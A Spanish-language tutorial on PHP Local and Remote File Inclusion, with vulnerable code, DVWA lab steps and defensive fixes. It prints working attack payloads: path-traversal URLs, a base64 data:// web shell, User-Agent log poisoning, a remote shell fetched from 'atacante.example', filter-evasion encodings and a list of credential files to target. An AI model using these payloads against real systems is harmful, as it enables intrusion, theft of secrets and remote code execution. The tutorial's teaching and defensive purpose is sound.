LFI y RFI: inclusión de archivos local y remota (con ejemplos)

LFI y RFI: inclusión de archivos local y remota (con ejemplos)

LFI y RFI: inclusión de archivos local y remota (con ejemplos)

LFI (Local File Inclusion) y RFI (Remote File Inclusion) son vulnerabilidades web que permiten a un atacante hacer que el servidor cargue un archivo arbitrario, local o remoto, a través de un parámetro controlado por el usuario, con consecuencias que van desde la lectura de ficheros sensibles hasta la ejecución remota de código.

Son dos de las vulnerabilidades más clásicas del hacking web y siguen apareciendo en entornos reales. Si te preparas para el eJPT, el OSCP o participas en programas de bug bounty, entender cómo funcionan (y cómo prevenirlas) es obligatorio.

¿Qué son LFI y RFI? Por qué ocurren

Ambas vulnerabilidades nacen del mismo error de diseño: el desarrollador pasa la entrada del usuario directamente a una función de inclusión de ficheros (include(), require(), include_once() o require_once() en PHP) sin validarla ni sanearla.

El código vulnerable típico tiene esta pinta:

<?php
// ❌ VULNERABLE — nunca hagas esto en producción
$page = $_GET['page'];
include($page . '.php');
?>

La diferencia entre ambas está en el origen del fichero incluido:

  • LFI: el atacante hace que el servidor cargue un fichero que ya existe en el sistema local (p. ej. /etc/passwd, logs del servidor, claves SSH).
  • RFI: el atacante hace que el servidor descargue y ejecute un fichero alojado en un servidor externo que él controla. Requiere que la directiva PHP allow_url_include esté activada (On).

Según la clasificación de OWASP y MITRE, LFI se encuadra en CWE-22 (Path Traversal) y RFI en CWE-98 (Improper Control of Filename for Include/Require Statement).

Cómo funciona: el ataque paso a paso

LFI con path traversal

Si la aplicación espera algo como ?page=inicio e incluye inicio.php, un atacante puede recorrer el árbol de directorios hacia arriba con la secuencia ../ (dot-dot-slash) para salir del directorio raíz de la web:

https://victima.example/index.php?page=../../../../etc/passwd

En Linux, cuatro subidas suelen bastar para llegar a la raíz. Si la aplicación añade la extensión .php automáticamente, existen técnicas para truncarla (null-byte %00 en PHP < 5.3.4, o relleno de ruta).

LFI con wrappers de PHP

PHP expone «envoltorios» de flujo (stream wrappers) que amplían mucho el impacto de un LFI:

# Leer un fichero PHP en base64 (evita la ejecución, muestra el código fuente):
?page=php://filter/convert.base64-encode/resource=config

# Inyectar código con el wrapper de datos:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

El wrapper php://filter es especialmente útil en auditorías: permite leer ficheros PHP sin que el servidor los ejecute, y eso revela contraseñas de bases de datos, claves de API o lógica interna.

LFI → RCE mediante log poisoning

Una de las escaladas más potentes de LFI es el envenenamiento de logs. Si el atacante puede leer el log de acceso del servidor (p. ej. /var/log/apache2/access.log), puede inyectar código PHP en él a través del campo User-Agent de una petición HTTP y luego incluir el propio log:

# 1. Inyectar payload en el User-Agent (con curl o Burp Suite):
GET / HTTP/1.1
Host: victima.example
User-Agent: <?php system($_GET['cmd']); ?>

# 2. Incluir el log con LFI y ejecutar comandos:
?page=../../../../var/log/apache2/access.log&cmd=id

Con esto, LFI pasa de ser una lectura de ficheros a ejecución remota de código completa.

RFI: incluir un shell remoto

Si allow_url_include = On está activo en php.ini, el atacante puede apuntar a un fichero PHP en su propio servidor:

?page=http://atacante.example/shell.php

El servidor víctima descarga y ejecuta shell.php, que puede ser un web shell completo. Esta configuración está desactivada por defecto en el PHP moderno, pero sigue existiendo en servidores mal configurados o con versiones antiguas.

Práctica en laboratorio (DVWA y PortSwigger)

Aviso previo: practica única y exclusivamente en entornos controlados y con permiso explícito. Nunca apliques estas técnicas en sistemas ajenos. Ver aviso legal al final del artículo.

DVWA (Damn Vulnerable Web Application)

DVWA incluye un módulo de File Inclusion con tres niveles de seguridad. En nivel Low, el parámetro page se pasa directamente a include() sin filtro alguno. Pasos recomendados:

  1. Descarga e instala DVWA con Docker: docker run -p 80:80 vulnerables/web-dvwa
  2. Ve a File Inclusion y observa la URL: ?page=include.php
  3. Prueba path traversal: ?page=../../../../../../etc/passwd
  4. Prueba el wrapper de filtro: ?page=php://filter/convert.base64-encode/resource=index
  5. Decodifica el base64 resultante para ver el código fuente PHP.
  6. En nivel Medium, observa cómo se reemplaza ../ y prueba evasiones como ....// o codificación URL.

PortSwigger Web Security Academy

PortSwigger ofrece laboratorios guiados de Path Traversal / LFI que funcionan directamente en el navegador, sin instalar nada. Son perfectos para entender variantes avanzadas (codificación doble, null bytes, rutas absolutas).

Para ampliar tus opciones de práctica, consulta nuestra guía de mejores plataformas para practicar hacking.

Vídeo recomendado

Para ver la explotación en vivo sobre DVWA en español:

«Local File Inclusion (LFI) | Hacking Web | Thehackerslabs» — canal CondorHacks (ID: SCnLegupek4). También puedes ver en inglés la explotación completa de LFI y RFI sobre DVWA en «File Inclusion Exploits! – DVWA Part 2» de Jason Turley (ID: BV2ARi50iL4).

Comparativa: LFI vs RFI

Característica LFI RFI
Origen del fichero Sistema de ficheros local del servidor URL externa controlada por el atacante
Requisito PHP Ninguno específico allow_url_include = On (desactivado por defecto)
Técnica principal Path traversal (../), wrappers (php://filter, data://) URL externa con web shell PHP
Impacto mínimo Lectura de ficheros locales (/etc/passwd, claves SSH, config) Ejecución remota de código directa
Escalada a RCE Sí, mediante log poisoning, data:// o /proc/self/environ Directo (el fichero remoto es el payload)
Defensa principal Validar contra lista blanca de nombres permitidos; nunca usar input en rutas Deshabilitar allow_url_include y allow_url_fopen
Referencia MITRE CWE-22 CWE-98

Cómo prevenir LFI y RFI

La OWASP Web Security Testing Guide y PortSwigger documentan las medidas defensivas que conviene aplicar en capas. Aquí las más importantes:

1. Nunca uses la entrada del usuario en rutas de inclusión

Es la regla de oro. Si necesitas cargar distintas vistas según un parámetro, usa un mapa interno:

<?php
// ✅ Lista blanca explícita — nunca ruta directa del usuario
$paginas_permitidas = ['inicio', 'productos', 'contacto'];
$page = $_GET['page'] ?? 'inicio';

if (!in_array($page, $paginas_permitidas, true)) {
    $page = 'inicio'; // valor por defecto seguro
}

include(__DIR__ . '/views/' . $page . '.php');
?>

2. Canonicaliza y valida la ruta resultante

Si por diseño necesitas construir rutas dinámicas, usa realpath() y comprueba que el resultado empiece por el directorio base permitido:

<?php
$base  = realpath(__DIR__ . '/views/');
$input = $_GET['page'];
$ruta  = realpath($base . '/' . $input . '.php');

// Rechaza si no pertenece al directorio base o el fichero no existe
if ($ruta === false || strpos($ruta, $base) !== 0) {
    die('Acceso denegado');
}

include($ruta);
?>

3. Deshabilita allow_url_include y allow_url_fopen

En php.ini, ambas directivas deben estar en Off. Con esto eliminas por completo el vector RFI y reduces el impacto de algunas técnicas LFI:

; php.ini
allow_url_include = Off
allow_url_fopen   = Off

4. Aplica mínimo privilegio al proceso del servidor

Aunque exista una LFI, limitar los permisos del usuario que ejecuta PHP (p. ej. www-data) reduce mucho lo que puede leer un atacante: sin acceso a /etc/shadow, a logs de otros servicios ni a claves SSH de root.

5. Usa un WAF y monitoriza patrones sospechosos

Un Web Application Firewall puede detectar y bloquear las secuencias ../, %2e%2e%2f y URLs externas en parámetros de inclusión. No basta por sí solo, pero añade una capa de detección temprana.

Para entender cómo combinar estas defensas en el contexto de la OWASP Top 10 consulta nuestro artículo dedicado.

Errores comunes y filtros saltables

Muchos desarrolladores implementan defensas parciales que se eluden con facilidad. Estos son los errores más frecuentes:

Reemplazar ../ sin repetición

Algunos filtros eliminan ../ solo una vez. Si el atacante anida la secuencia, el resultado tras el filtrado vuelve a ser ../:

Payload: ....//....//....//etc/passwd
Tras eliminar ../: ../../etc/passwd  ← sigue siendo válido

Codificación URL simple y doble

Los filtros que trabajan sobre la cadena en texto plano no siempre decodifican primero:

%2e%2e%2f        → ../   (codificación URL estándar)
%252e%252e%252f  → ../   (doble codificación, el servidor decodifica dos veces)
..%c0%af         → ../   (Unicode overlong encoding, clásico en IIS antiguo)

Filtrar solo al principio del parámetro

Si el filtro busca ../ solo en la posición cero, basta con anteponer un carácter cualquiera:

?page=inicio/../../../etc/passwd

Confiar en la extensión añadida por el código

Si el código hace include($page . '.php'), el atacante puede usar el null-byte (%00) en PHP < 5.3.4 para truncar la extensión, o inyectar un wrapper que ignora el sufijo:

?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd

Aquí la extensión .php añadida por el código queda fuera del alcance del wrapper y no afecta al resultado.

Para profundizar en técnicas de evasión de filtros y fuzzing, te recomendamos usar Burp Suite y su módulo Intruder con listas de payloads de LFI especializadas.

Referencia técnica principal

«File inclusion vulnerabilities allow an attacker to include a file, usually exploiting a «dynamic file inclusion» mechanism implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.»

OWASP WSTG-INPV-11: Testing for File Inclusion

Recursos adicionales de referencia:

LFI y RFI en el contexto del hacking web

Para dominar estas técnicas desde cero y en orden lógico, consulta:

Vídeo: «Local File Inclusion (LFI): hacking web», por CondorHacks (YouTube).

📚 ¿Quieres practicarlo en un laboratorio legal, paso a paso? Lo trabajamos en el Módulo 9: Subida de archivos y ejecución remota (RCE) de nuestro Curso de Hacking Web.

Preguntas frecuentes

¿Cuál es la diferencia real entre LFI y path traversal?

Path traversal (o directory traversal) es la técnica que permite salir del directorio previsto navegando con ../. LFI es la vulnerabilidad que lo hace posible. En la práctica se usan como sinónimos, aunque LFI abarca también vectores sin traversal (wrappers, ficheros en el propio directorio raíz web, etc.).

¿RFI sigue siendo relevante si allow_url_include está Off por defecto?

Sí. En servidores con PHP antiguo, hosting compartido mal configurado o entornos donde el desarrollador activó la directiva por comodidad, RFI se puede seguir explotando. En algunos frameworks y CMS la configuración de PHP se puede sobreescribir con .htaccess o php.ini locales.

¿Qué ficheros locales son los más valiosos en un LFI?

En Linux: /etc/passwd (usuarios del sistema), /etc/shadow (hashes de contraseñas, si hay privilegios), ~/.ssh/id_rsa (clave privada SSH), logs del servidor web (/var/log/apache2/access.log), /proc/self/environ (variables de entorno, útil para log poisoning), y ficheros de configuración de la aplicación (wp-config.php, .env).

¿Es posible detectar LFI con un escáner automático?

Sí. Herramientas como Burp Suite Scanner, Nikto, OWASP ZAP y scripts especializados como LFISuite o fimap detectan LFI de forma automatizada. Aun así, los falsos negativos son comunes en aplicaciones con lógica de negocio compleja, así que la revisión manual sigue siendo necesaria en una auditoría real.

¿Un WAF es suficiente para protegerse?

No. Un WAF es una capa de detección y mitigación, no un sustituto del código seguro. Sus reglas se pueden eludir con codificaciones alternativas, divisiones de payload o variantes Unicode. La defensa sólida empieza en el código: lista blanca de ficheros permitidos, nada de entrada de usuario en rutas, realpath() con comprobación de prefijo, y allow_url_include = Off.

Las técnicas descritas en este artículo tienen finalidad exclusivamente educativa. Aplicarlas contra sistemas sin autorización expresa y por escrito del propietario es un delito en España tipificado en el artículo 197 bis del Código Penal (acceso ilícito a sistemas informáticos), con penas de hasta 2 años de prisión, ampliables cuando hay daño, beneficio económico o afecta a infraestructuras críticas.

Practica siempre en entornos propios o en plataformas de hacking ético legal: DVWA en local, TryHackMe, HackTheBox, PortSwigger Web Security Academy. Nunca en sistemas ajenos sin permiso.

Sigue tu camino

Cursos de ciberseguridad por especialización

Descubre los cursos que más se adaptan a tu perfil profesional.